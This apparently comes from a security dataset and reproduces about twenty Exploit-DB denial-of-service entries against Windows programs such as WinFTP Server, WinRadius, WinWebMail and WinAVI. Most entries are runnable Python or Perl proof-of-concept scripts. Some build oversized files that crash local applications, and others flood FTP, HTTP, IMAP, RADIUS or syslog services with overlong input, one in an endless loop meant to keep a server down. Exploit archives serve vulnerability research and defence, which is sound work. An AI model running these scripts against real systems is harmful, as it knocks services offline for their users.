deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38878
Description: WinAsm Studio 5.1.8.8 - Buffer Overflow Crash (PoC)
Type: dos
Platform: windows
Date: 2015-12-06
Author: Un_N0n

Exploit:
********************************************************************************************
# Exploit: WinAsm Studio 5.1.8.8 BOF. 
# Date: 12/6/2015
# Exploit Author: Un_N0n
# Vendor: WinAsm
# Software Link: http://www.winasm.net/winasm-studio-updates.html
# Version: 5.1.8.8
# Tested on: Windows 7 x64(64bit)
********************************************************************************************
[Info]

Code: 
rc.right = 0;
rc.bottom = 0;
  DrawTextExA(
    hdc,
    L"I \t\u6e69\u6c63\u6475e\u6e69\.................\uf64)", <--- XXXtremely big string to draw, thus crashes.
    1,
    &rc,
    0x2CE0u,
    &dtp);
*(_DWORD *)(a1 + 420) = rc.right;


[How to?]
1 - Open up WinAsm.exe.
2 - GoTo Files -> Open Files.
3 - Browser the crash.txt in it.
~ Software will Crash.

[crash.txt?]
file = open('crash.txt','w')
file.write("A"*20000)       #Crash.txt Contains 20000s As
file.close()

********************************************************************************************
Exploit-DB #46554
Description: WinAVI iPod/3GP/MP4/PSP Converter 4.4.2 - Denial of Service
Type: dos
Platform: windows
Date: 2019-03-18
Author: Achilles

Exploit:
# Exploit Title: WinAVI iPod/3GP/MP4/PSP Converter 4.4.2 Local Dos Exploit
# Date: 16.03.2019
# Vendor Homepage:http://www.winavi.com
# Software Link:  http://www.winavi.com/user/download/WinAVI_iPod_3GP_MP4_PSP_Converter.exe
# Exploit Author: Achilles
# Tested Version: 4.4.2
# Tested on: Windows XP SP3 EN
#            Windows 7 x64 Sp1


# 1.- Run the python script, it will create a new file with the name "Evil.avi"
# 2.- Open WinAVI.exe and Click 'Convert to iPhone'
# 3.- Load the file "Evil.avi"
# 4.- And you will see a crash.



#!/usr/bin/env python
buffer = "\x41" * 6000

try:
	f=open("Evil.avi","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #14034
Description: Wincalc 2 - '.num' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-06-24
Author: Madjix

Exploit:
#!/usr/bin/perl
###################################################################
#Exploit Title : Wincalc 2 (.num) local Buffer Overflow Poc
#tested on windows xp SP 3 FR
#Author: MadjiX - Dz8[at]HotmaiL[dot]CoM
#download: http://math.exeter.edu/rparris/peanut/wcru32z.exe
#Special Greets:Bibi-info , His0k4 [ where are you :( ]
###################################################################
#EAX 00000001
#ECX 41414141
#EDX 00000000
#EBX 0046EE18
#ESP 0012F868
#EBP 0012F8AC
#ESI 009A2DC0
#EDI 0000003B
#EIP 00417A74 wcalcru.00417A74
#C 0 ES 0023 32bit 0(FFFFFFFF)
#P 0 CS 001B 32bit 0(FFFFFFFF)
#A 0 SS 0023 32bit 0(FFFFFFFF)
#Z 0 DS 0023 32bit 0(FFFFFFFF)
#S 0 FS 003B 32bit 7FFDD000(FFF)
###################################################################
my $file = "MadjiX.NUM";
my $junk1 = "\x41" x 2000 ;
my $junk2 = "\x42" x 2000 ;
my $junk3 = "\x43" x 2000 ;
my $junk4 = "\x44" x 2000 ;
my $junk5 = "\x45" x 2000 ;
my $junk6 = "\x46" x 2000 ;
my $junk7 = "\x47" x 2000 ;
my $junk8 = "\x48" x 2000 ;
open($FILE,">$file");
print $FILE $junk1.$junk2.$junk3.$junk4.$junk5.$junk6.$junk7.$junk8;
close($FILE);
Exploit-DB #12687
Description: WinDirectAudio 1.0 - '.wav' (PoC)
Type: dos
Platform: windows
Date: 2010-05-21
Author: ahwak2000

Exploit:
#/usr/bin/perl
#Title: WinDirectAudio  (.WAV) PoC
#[+]Date       : May 21,  2010 
#[+]version    : v1.0
#[+]Author     : ahwak2000
#[+]Contact    : z.u5[at]hotmail.com
#[+]Geetz [2]  : germaya_x
#[+]tested on  : windows xp sp2&sp3 EN
#########################################
my $junk = "\x41" x 5000;
open(myfile,'>> ahwak2000.wav');
print myfile $junk."\r\n";
print "\nEvil WAV file created successfully.";
Exploit-DB #1353
Description: WinEggDropShell 1.7 - Multiple Remote Stack Overflows (PoC)
Type: dos
Platform: windows
Date: 2005-12-02
Author: Sowhat

Exploit:
# WinEggDropShell Multipe PreAuth Remote Stack Overflow PoC
# HTTP Server "GET"  && FTP Server "USER" "PASS" command
# Bug Discoverd and coded by Sowhat
# Greetingz to killer,baozi,Darkeagle,all 0x557 and XFocus guys....;)
# http://secway.org
# 2005-10-11

# Affected:
# WinEggDropShell Eterntiy version
# Other version may be vulnerable toooooo

import sys
import string
import socket

if (len(sys.argv) != 4):
	
	print "##########################################################################"
	print "#      WinEggDropShell Multipe PreAuth Remote Stack Overflow PoC         #"
	print "#          This Poc will BOD the vulnerable target                       #"
	print "#          Bug Discoverd and coded  by Sowhat                            #"
	print "#                 http://secway.org                                      #"
	print "##########################################################################"
	print "\nUsage: " + sys.argv[0] + "HTTP/FTP" + " TargetIP" + " Port\n"
	print "Example: \n" + sys.argv[0] + " HTTP" + " 1.1.1.1" + " 80" 
	print sys.argv[0] + " FTP" + " 1.1.1.1" + " 21" 
	sys.exit(0)

host = sys.argv[2]
port = string.atoi(sys.argv[3])

if ((sys.argv[1] == "FTP") | (sys.argv[1] == "ftp")):

		request = "USER " + 'A'*512 + "\r"

if ((sys.argv[1] == "HTTP") | (sys.argv[1] == "http")):

		request = "GET /" + 'A'*512 + " HTTP/1.1 \r\n" 

exp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
exp.connect((host,port))
exp.send(request)

# milw0rm.com [2005-12-02]
Exploit-DB #625
Description: WinFTP Server 1.6 - Denial of Service
Type: dos
Platform: windows
Date: 2004-11-11
Author: KaGra

Exploit:
#!/usr/local/bin/perl -w

###########################################################
###########################################################
##     WinFTP server ver  1.6  D.o.S Exploit
##         Discovered,exploited by KaGra
##	Tested on WinXP SP1 English version
## 
## Sending 40 times a username and a buffer of 1500
## bytes as pass,will crash the server,as soon as is
## not minimized in Target computer.If he is minimized,he
## will crash as soon as he will stop be minimized.If U use
## this sploit in a loop without ending,server will be unable
## to restart,because he starts NOT minimized of course... 
## Except USER and PASS,almost all commands of ftp service are vuln...
############################################################
############################################################


use Net::FTP;

if(@ARGV<2)  
{
 print "#################  Winftp 6.0 D.o.S SploiT By KaGra  ###################\n";
 print "#               Usage: perl agate.pl <target> <option>                 #\n";  
 print "#   Option is 1 for non endless D.o.s,2 for endless D.o.s,use 1 first  #\n";
 print "########################################################################\n\n";
 exit(0);
}

$hostname = $ARGV[0]; 		        #Remote Host to D.o.S!
$username = 'kagra'; 		        #AnythinG HeRe!

print "\n[*]BuiLDinG BuFfer...\n";

$password = 'A'x1500   ; 		#OverFlow BuffEr!
print "[*]ConnectinG To TarGet...\n";




if($ARGV[1]==2)
{
print "[*]SenDing DeViL In EndLeSS Loop,Server Will be DEAD for eVer,just stop the process...\n";
for($i=0; $i < 20; $i--)
{
XX:
$ftp = Net::FTP->new($hostname);        # Connecting...
if(!defined($ftp))
{
goto XX
}
$ftp->login($username, $password);      # Sending EviL BuffeR...
$ftp->quit;
}
exit(0);
}





for($i= 0; $i < 40; $i++)
{
$ftp = Net::FTP->new($hostname);        # Connecting...
if(!defined($ftp))
{
	print "Could not connect.If buffer has been send,then target D.o.Sed :-P.Use sploit in endless loop now,and will not restart again...\n";
	sleep(1);
	exit(0);
}
print "[*]SenDing DeViL...\n";
$ftp->login($username, $password);      # Sending EviL BuffeR...
$ftp->quit;
}
print "SerVer Has Been D.o.sed,will be Down if he is or will be stop being minimized!Use sploit in endless loop now,and when he will be down,will not restart again...\n";


# milw0rm.com [2004-11-11]
Exploit-DB #2952
Description: WinFTP Server 2.0.2 - 'PASV' Remote Denial of Service
Type: dos
Platform: windows
Date: 2006-12-19
Author: shinnai

Exploit:
import sys,os,string
import socket
import struct
import time

print "-----------------------------------------------------------------------"
print "# WinFtp Server Version 2.0.2 Denial of Service"
print "# url: http://www.wftpserver.com/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot[org]"
print "# site: http://shinnai.altervista.org"
print "# soundtrack: Territorial pissing (by Nirvana)"
print "# you can choose one of all ftp commands implemented :)"
print "-----------------------------------------------------------------------"



buffer = "A" * 520
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
   conn = s.connect(("127.0.0.1",21))
except:
   print "- Unable to connect. exiting."

d = s.recv(1024)
time.sleep(2)
s.send('USER %s\r\n' % "test")
time.sleep(2)
s.send('PASS %s\r\n' % "test")
time.sleep(2)
s.send('PASV %s\r\n' % buffer) #You can change PASV with LIST, USER, PORT, etc...
time.sleep(2)

# milw0rm.com [2006-12-19]
Exploit-DB #6581
Description: WinFTP Server 2.3.0 - 'NLST' Denial of Service
Type: dos
Platform: windows
Date: 2008-09-26
Author: Julien Bedard

Exploit:
#!/usr/bin/perl
############
#
# Simple Dos Crap for the winftpsrv.exe v.2.3.0
#  by Julien Bedard
#
####################################

use Net::FTP;
$wftpsrvaddr = "255.255.255.255";
$overflow = "..?" x 35000;
$user = "test";
$pass = "test";
$port = 21;

$ftp = Net::FTP->new("$wftpsrvaddr", Debug => 0) || die "Cannot connect to ftp server: $@";
$ftp->login($user,$pass) || die "Cannot login ", $ftp->message;

$ftp->nlst($overflow);
$ftp->quit;

# milw0rm.com [2008-09-26]
Exploit-DB #6717
Description: WinFTP Server 2.3.0 - 'PASV Mode' Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-10-09
Author: dmnt

Exploit:
# WinFTP v2.3.0 DoS exploit
# WinFTP URL - http://www.wftpserver.com/
# DoS'ed when try to send data
# (x)dmnt
# -*- coding: windows-1252 -*-

import socket
import time
import sys

PORT = 21

def help_info():
    print ("Usage: winftp <host> <login> <password>\n")
    print ("Note: anonymous is enought\n")

def conn(hostname, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, PORT))
    except:
        print ("[+] Done!")
        sys.exit(1)

    r=sock.recv(1024)
    print "[+] " + r
    sock.send("USER %s\n" %username)
    sock.send("PASS %s\n" %passwd)
    sock.send("PASV\n")
    sock.send("NLST -1\n")
    sock.send("QUIT\n")
    sock.close()


print ("\n[WinFTP v2.3.0 remote DoS exploit]")
print ("[(x)dmnt 2008 without any clue :)]\n\n")

if len(sys.argv) <> 4:
    help_info()
    sys.exit(1)

else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try: sock.connect((hostname, PORT))
    except:
        print ("[-] Connection error!")
        sock.close()
        sys.exit(1)

    while passwd:
        conn(hostname, username, passwd)
        time.sleep(0.2)

    sys.exit(0)

# milw0rm.com [2008-10-09]
Exploit-DB #30590
Description: WinImage 8.0/8.10 - '.IMG' File BPB_BytsPerSec Field Denial of Service
Type: dos
Platform: windows
Date: 2007-09-17
Author: j00ru//vx

Exploit:
source: https://www.securityfocus.com/bid/25687/info
 
WinImage is prone to a denial-of-service vulnerability and a directory-traversal vulnerability because the application fails to adequately sanitize user-supplied input.
 
Attackers can exploit these issues to cause a denial of service or to write malicious files to arbitrary directories.
 
WinImage 8.0 and 8.10 are vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30590.zip
Exploit-DB #47131
Description: WinMPG iPod Convert 3.0 - 'Register' Denial of Service
Type: dos
Platform: windows
Date: 2019-07-17
Author: stresser

Exploit:
# Exploit Title: WinMPG iPod Convert 3.0 - 'Register' Denial of Service
# Date: 2019-07-16
# Vendor Homepage:http://www.winmpg.com
# Software Link:  https://www.techspot.com/downloads/downloadnow/6192/?evp=d62142990e9320a4e811b283fdcc4060&file=
# Exploit Author: stresser
# Tested Version: 3.0
# Tested on: Windows XP SP3 EN


# 1.- Run python code :WinMPG.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open WinMPG and Click 'Register'
# 4.- Paste the content of EVIL.txt into the Field: 'User Name and User Code'
# 5.- Click 'Ok'and you will see a crash.

#!/usr/bin/env python
buffer = "\x41" * 6000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #46553
Description: WinMPG Video Convert 9.3.5 - Denial of Service
Type: dos
Platform: windows
Date: 2019-03-18
Author: Achilles

Exploit:
# Exploit Title: WinMPG Video Convert Local Dos Exploit
# Date: 15.03.2019
# Vendor Homepage:http://www.winmpg.com
# Software Link:  http://www.winmpg.com/down/WinMPG_VideoConvert.zip
# Exploit Author: Achilles
# Tested Version: 9.3.5 and older ones
# Tested on: Windows XP SP3 EN


# 1.- Run python code :WinMPG.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open WinMPG.exe and Click 'ALL-AVI'
# 4.- In the new Window click Register
# 5.- Paste the content of EVIL.txt into the Field: 'Name and Registration Code'
# 6.- Click 'Register'and you will see a crash.



#!/usr/bin/env python
buffer = "\x41" * 6000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #26130
Description: WinRadius 2.11 - Denial of Service
Type: dos
Platform: windows
Date: 2013-06-11
Author: npn

Exploit:
#!/usr/bin/python


#Exploit Title: WinRadius 2.11 DoS
#Date: 10th June 2013
#Exploit Author: npn
#Exploit Author Homepage: http://www.iodigitalsec.com/
#Exploit Author Write Up: http://www.iodigitalsec.com/blog/fuzz-to-denial-of-service-winradius-2-11/
#Vendor Homepage: [ADVERT HOLDING PAGE] http://www.itconsult2000.com/
#Software Link: http://download.cnet.com/WinRadius/3000-2085_4-10131429.html
#Version: 2.2
#Tested on: Windows XP SP3 English
#Exploit-DB Note: Read author's write-up

from socket import *
import sys
import select

pwn =  "\x01" #Code 01
pwn += "\xff" #packet identifier
pwn += "\x00\x2c" #len 44
pwn += "\xd1\x56\x8a\x38\xfb\xea\x4a\x40\xb7\x8a\xa2\x7a\x8f\x3e\xae\x23" #authenticator
pwn += "\x01" #t=User-Name(1)
pwn += "\x06" #avp: l=6
pwn += "\x61\x64\x61\x6d" #adam

pwn += "\x02" #avp t=User-Password(2)
pwn += "\xff" #avp: l=18 
pwn += "\xf0\x13\x57\x7e\x48\x1e\x55\xaa\x7d\x29\x6d\x7a\x88\x18\x89\x21" #password (enc)

address = ('192.168.200.20', 1812)
server_socket = socket(AF_INET, SOCK_DGRAM)

server_socket.sendto(pwn, address)
Exploit-DB #18945
Description: WinRadius Server 2009 - Denial of Service
Type: dos
Platform: windows
Date: 2012-05-29
Author: demonalex

Exploit:
Title: WinRadius Server Denial Of Service Vulnerability
Software : WinRadius

Software Version : v2009

Vendor: http://www.elite-school.com/saas/WinRadius/

Vulnerability Published : 2012-05-27

Vulnerability Update Time :

Status : 

Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)

Bug Description :
WinRadius is a standard RADIUS server for network authentication, accounting. It's easy to use, and can be used for telecommunication accounting platform, PPP authentication, accounting server. It support PPP, PPPoE, PPTP, VPN, VoIP, ADSL, Cable Modem, CDMA, GSM, GPRS, WLAN(802.1x), etc.
WinRadius server would bind udp port 1812 and 1813, but it does not validate the password option size leading to a Denial Of Service flaw while sending more than 240 characters to it.

Proof Of Concept :
-----------------------------------------------------------
#!/usr/bin/perl
use Authen::Simple::RADIUS;
$|=1;
$host=shift || die "usage: $0 host\n";
print "Launch Attack ... \n";
$username=int(rand(10)).int(rand(10)).int(rand(10));
$password='A'x241;
$secret=int(rand(10)).int(rand(10)).int(rand(10));
$radius = Authen::Simple::RADIUS->new(
   host   => $host,
   secret => $secret
);
$radius->authenticate( $username, $password );
print "Finish!\n";
exit(1);
-----------------------------------------------------------

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK
Exploit-DB #11630
Description: WinSmMuPl 1.2.5 - '.mp3' Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-03-04
Author: cr4wl3r

Exploit:
#!/usr/bin/perl

# WinSmMuPl 1.2.5 (.mp3) Local Crash PoC

#[+] Discovered By: cr4wl3r


print "#####################################################\n";
print "[!] WinSmMuPl 1.2.5 (.mp3) Local Crash PoC\n";
print "\n";
print "[!] By: cr4wl3r\n";
print "#####################################################\n";


my $boom = "A" x 1337;
my $filename = "sploit.mp3";
open (FILE,">$filename");
print FILE "$boom";
print "\nDone!\n";
Exploit-DB #23242
Description: WinSyslog Interactive Syslog Server 4.21 - long Message Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-10-14
Author: storm@securiteam.com

Exploit:
source: https://www.securityfocus.com/bid/8821/info

WinSyslog is prone to a remotely exploitable denial of service vulnerability. The issue exists in the Interactive Syslog Server specifically. This occurs when the program receives multiple excessive syslog messages via the port it listens on (10514/UDP by default). This is also reported to cause system instability, which is likely due to resource exhaustion.

The issue does not affect the WinSyslog or MonitorWare agent services. This issue affects versions of WinSyslog prior to 2003-09-15. The vendor has released hot fixes for the MonitorWare Agent product, which also includes the vulnerable component. 

#!/usr/bin/perl
#WinSyslog System Freeze Vulnerability

use IO::Socket;
$host = "192.168.1.44";
$port = "10514";
$data = "A";

$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);

for ($count = 0; $count < 1000; $count ++)
{
$buf = "";
$buf .= "A"x((600+$count)*4);

print "Length: ", length($buf), "\n";
send($socket, $buf, 0, $portaddr);
print "sent\n";
}

print "Done\n";
Exploit-DB #31635
Description: WinWebMail 3.7.3 - IMAP Login Data Handling Denial of Service
Type: dos
Platform: windows
Date: 2008-04-10
Author: ryujin

Exploit:
source: https://www.securityfocus.com/bid/28721/info


WinWebMail is prone to a denial-of-service vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Remote attackers can exploit this issue to crash the server and deny service to legitimate users. Given the nature of this issue, attackers may also be able to execute arbitrary code, but this has not been confirmed.

WinWebMail 3.7.3.2 is vulnerable; other versions may also be affected.

#!/usr/bin/python
##########################################################################
#
# WinWebMail PREAUTH DoS POC 
# Tested on version 3.7.3.2 on Windows XPSP2 English
#
# Bug discovered by Matteo Memelli aka ryujin
# http://www.gray-world.net http://www.be4mind.com
#
# EAX 00000000
# ECX 3FFFF690
# EDX 41414141 <---
# EBX FFFFFFFB
# ESP 0AF3D7A8
# EBP 00B1279C
# ESI 0AF3DD68
# EDI 0AF40000
# EIP 0053AAD9 EMSVR.0053AAD9
#
##########################################################################
#
# bt # ./winwebmail_dos.py -H 192.168.1.3 -P 143
# [+] Connecting to 192.168.1.3 on port 143
# [+] Preparing for DoS...
# * OK IMAP4 on WinWebMail [3.7.3.2] ready.  http://www.winwebmail.net
#
# [+] Evil buf sent!
# [+] Let's wait 5 secs and see if the server crashed...
# [+] Server Di3d:  Connection refused
# [+] The attack was successful!
#
##########################################################################

from socket import *
from optparse import OptionParser
import sys, time

usage =  "%prog -H TARGET_HOST -P TARGET_PORT [-c COMMAND]"
parser = OptionParser(usage=usage)
parser.add_option("-H", "--target_host", type="string",
                  action="store", dest="HOST",
                  help="Target Host")
parser.add_option("-P", "--target_port", type="int",
                  action="store", dest="PORT",
                  help="Target Port")
(options, args) = parser.parse_args()
HOST    = options.HOST
PORT    = options.PORT
if not (HOST and PORT):
   parser.print_help()
   sys.exit()

payload = 'A'*225
print "[+] Connecting to %s on port %d" % (HOST, PORT)
print "[+] Preparing for DoS..."
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
print s.recv(1024)
s.send('0001 LOGIN ' + payload + ' "\r\n')
s.close()
print "[+] Evil buf sent!"
print "[+] Let's wait 5 secs and see if the server crashed..."
time.sleep(5)
try:
   s = socket(AF_INET, SOCK_STREAM)
   s.connect((HOST, PORT))
except error,e:
   print "[+] Server Di3d: ", e[1]
   print "[+] The attack was successful!"
else:
   print "[-] Attack was not successful!"
   s.close()
Exploit-DB #37326
Description: WinylPlayer 3.0.3 - Memory Corruption (PoC)
Type: dos
Platform: windows
Date: 2015-06-19
Author: Rajganesh Pandurangan

Exploit:
#!/usr/bin/python

#[+] Author: Rajganesh (Raj) Pandurangan
#[+] Exploit Title:  WinylPlayer 3.0.3 Memory Corruption PoC
#[+] Date: 06-17-2015
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7 
#[+] Vendor: http://vinylsoft.com/
#[+] Download: http://vinylsoft.com/download/winyl_setup.zip
#[+] Sites: www.exclarus.com
#[+] Twitter: @rajganeshp
#[+] Thanks:   offensive security (@offsectraining)


print"###########################################################"
print"#  Title: WinylPlayer 3.0.3 Memory Corruption PoC          #"
print"#  Author: Rajganesh Pandurangan                           #"
print"#  Category: DoS/PoC                                       # "
print"###########################################################"
	
header = ("\x52\x49\x46\x46\x64\x31\x10\x00\x57\x41\x56\x45\x66\x6d\x74\x20"
"\x10\x00\x00\x00\x01\x00\x01\x00\x22\x56\x00\x00\x10\xb1\x02\x00"
"\x04\x00\x00\x00\x64\x61\x74\x61\x40\x31\x10\x00\x14\x00\x2a\x00"
"\x1a\x00\x30\x00\x26\x00\x39\x00\x35\x00\x3c\x00\x4a\x00\x3a\x00"
"\x5a\x00\x2f\x00\x67\x00\x0a")

exploit = header
exploit += "\x41" * 900000

crash = open('crash.wav','w')
crash.write(exploit)
crash.close()